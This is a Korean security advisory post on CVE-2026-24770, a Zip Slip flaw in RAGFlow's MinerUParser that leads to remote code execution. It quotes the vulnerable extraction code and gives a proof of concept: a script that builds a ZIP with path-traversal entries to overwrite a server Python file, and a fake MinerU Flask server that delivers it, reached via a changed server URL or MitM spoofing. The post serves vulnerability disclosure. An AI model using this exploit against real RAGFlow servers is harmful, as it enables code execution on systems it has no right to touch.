[하루한줄] CVE-2026-24770: RAGFlow의 MinerUParser Zip Slip을 통한 Remote Code Execution(RCE) 취약점
URL
Target
- RAGFlow v0.23.1 이하 버전
Explain
RAGFlow의 MinerUParser 클래스가 외부 소스(mineru_server_url)로부터 ZIP 파일을 내려받아 압축을 해제하는 과정에서 발생하는 Zip Slip으로 인해 RCE 취약점이 발생합니다.
# deepdoc/parser/mineru_parser.py:167
# ZIP 멤버 이름에서 파생된 'path'에 대한 검증 X
def _extract_zip_no_root(self, zip_path, extract_to, root_dir):
with zipfile.ZipFile(zip_path, "r") as zip_ref:
# [1] root_dir 미탐지 시
if not root_dir or not root_dir.endswith("/"):
zip_ref.extractall(extract_to) # ← ../ 필터링 없음
return
root_len = len(root_dir)
for member in zip_ref.infolist():
filename = member.filename
if filename == root_dir:
continue
# [2] root_dir prefix 제거 후 경로 합성
path = filename
if path.startswith(root_dir):
path = path[root_len:] # prefix만 제거, ../ 미검증
# ← 검증 없이 os.path.join 수행
full_path = os.path.join(extract_to, path)
if member.is_dir():
os.makedirs(full_path, exist_ok=True)
else:
os.makedirs(os.path.dirname(full_path), exist_ok=True)
with open(full_path, "wb") as f:
f.write(zip_ref.read(filename)) # 공격자가 보낸 임의 경로에 파일 쓰기
os.path.join에 ../../../../app/login.py와 같이 악의적인 디렉토리가 전달될 경우 [1]과 [2] 에서 공격자가 외부 경로가 파일 저장경로로 작성되게 됩니다. 이후 [3]에서 공격자가 파일이 작성됩니다.
POC
공격 시나리오는 다음과 같습니다.
[1] 공격자는 먼저 디렉토리 트래버설 문자가 포함된 경로명(예: ../../api/utils/auth.py)을 가진 Python 스크립트를 담은 악성 ZIP 파일을 제작합니다.
import zipfile
def create_malicious_zip():
print("[*] Creating 'evil_mineru.zip'...")
# 앱 구조에 존재하는 파일을 타깃으로 설정
target_path = "../../../../ragflow/api/utils/pwned.py"
with zipfile.ZipFile("evil_mineru.zip", "w") as z:
z.writestr(target_path, "import os; os.system('touch /tmp/rce_success')")
print("[+] Malicious ZIP created. Serve this to the MinerU parser.")
if __name__ == "__main__":
create_malicious_zip()
[2] MitM 공격을 통해 해당 파일이 파서에 의해 처리되도록 유도합니다. RAGFlow가 ZIP을 압축 해제하는 순간, 서버 내 대상 Python 파일이 overwrite되며, 이후 애플리케이션이 해당 모듈을 import하거나 재시작될 때 공격자의 코드가 RAGFlow 프로세스 권한으로 실행됩니다.
# fake_mineru_server.py
# RAGFlow의 mineru_api 설정을 이 서버 주소로 변경하거나
# MitM(ARP Spoofing 등)으로 실제 서버 응답을 교체
from flask import Flask, send_file
app = Flask(__name__)
@app.route("/file_parse", methods=["POST"])
def file_parse():
print("[*] Received parse request — returning malicious ZIP")
return send_file(
"evil_mineru.zip",
mimetype="application/zip",
as_attachment=True,
download_name="result.zip"
)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888)
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.